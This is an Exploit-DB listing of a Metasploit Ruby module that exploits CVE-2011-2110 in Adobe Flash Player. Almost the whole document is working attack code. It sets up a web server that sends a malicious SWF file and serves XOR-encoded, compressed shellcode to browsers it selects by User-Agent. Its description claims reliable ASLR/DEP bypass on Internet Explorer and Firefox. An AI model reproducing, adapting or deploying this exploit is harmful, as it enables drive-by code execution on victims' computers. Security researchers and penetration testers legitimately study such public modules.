标题: Adobe Flash Player - AVM Verification Logic Array Indexing Code Execution (Metasploit) EDB-ID: 19295 CVE: 2011-2110 2008-4192 类型: REMOTE 平台: WINDOWS 发布日期: 2012-06-20 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Adobe Flash Player AVM Verification Logic Array Indexing Code Execution',
   'Description'    => %q{
     This module exploits a vulnerability in Adobe Flash Player versions 10.3.181.23
    and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
    logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
    vulnerability that was used for attacks against Korean based organizations.

     Specifically, this issue occurs when indexing an array using an arbitrary value,
    memory can be referenced and later executed. Taking advantage of this issue does not rely
    on heap spraying as the vulnerability can also be used for information leakage.

     Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several
    other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and
    is very reliable.
    },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'mr_me <steventhomasseeley[at]gmail.com>', # msf exploit,
     'Unknown'                                  # malware version seen used in targeted attacks
    ],
   'Version'        => '$Revision$',
   'References'     =>
    [
     ['CVE', '2011-2110'],
     ['OSVDB', '48268'],
     ['URL', 'http://www.adobe.com/devnet/swf.html'],
     ['URL', 'http://www.adobe.com/support/security/bulletins/apsb11-18.html'],
     ['URL', 'http://www.accessroot.com/arteam/site/download.php?view.331'],
     ['URL', 'http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20110617'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC'             => 'process',
     'HTTP::compression'    => 'gzip',
     'HTTP::chunked'        => true,
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Payload'        =>
    {
     'Space'       => 2000,
     'BadChars'    => "\x00",
     'DisableNops' => true
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', {}],
    ],
   'DisclosureDate' => 'Jun 21 2012',
   'DefaultTarget'  => 0))
 end

 def exploit
  # src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as
  # full aslr/dep bypass using the info leak as per malware
  path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-2110.swf" )
  fd = File.open( path, "rb" )
  @swf = fd.read(fd.stat.size)
  fd.close
  super
 end

 def check_dependencies
  use_zlib
 end

 def get_target(agent)
  #If the user is already specified by the user, we'll just use that
  return target if target.name != 'Automatic'

  if agent =~ /MSIE/
   return targets[0]  # ie 6/7/8 tested working
  elsif agent =~ /Firefox/
   return targets[0]  # ff 10.2 tested working
  else
   return nil
  end
 end

 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  my_target = get_target(agent)

  # Avoid the attack if the victim doesn't have the same setup we're targeting
  if my_target.nil?
   print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
   send_not_found(cli)
   return
  end

  xor_byte  = 122
  trigger   = @swf
  trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
  code = rand_text_alpha(rand(6)+3) + ".txt"

  sc = Zlib::Deflate.deflate(payload.encoded)
  shellcode = ""

  sc.each_byte do | c |
   shellcode << (xor_byte ^ c)
  end

  uri  = ((datastore['SSL']) ? "https://" : "http://")
  uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
  uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"

  bd_uri = Zlib::Deflate.deflate(uri)

  uri = ""
  bd_uri.each_byte do | c |
   uri << (xor_byte ^ c)
  end

  bd_uri = uri.unpack("H*")[0]

  obj_id = rand_text_alpha(rand(6)+3)

  if request.uri.match(/\.swf/i)
   print_status("Sending malicious swf")
   send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
   return
  end

  if request.uri.match(/\.txt/i)
   print_status("Sending payload")
   send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
   return
  end

  html =  <<-EOS
  <html>
  <head>
  </head>
  <body>
  <center>
  <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
  id="#{obj_id}" width="600" height="400"
  codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
  <param name="movie" value="#{get_resource}/#{trigger_file}?info=#{bd_uri}" />
  <embed src="#{get_resource}/#{trigger_file}?info=#{bd_uri}" quality="high"
  width="320" height="300" name="#{obj_id}" align="middle"
  allowNetworking="all"
  type="application/x-shockwave-flash"
  pluginspage="http://www.macromedia.com/go/getflashplayer">
  </embed>
  </object>
  </center>
  </body>
  </html>
  EOS

  html = html.gsub(/^\t\t/, '')

  print_status("Sending #{self.name} HTML")
  send_response(cli, html, { 'Content-Type' => 'text/html' })
 end
end URL: https://www.exploit-db.com/exploits/19295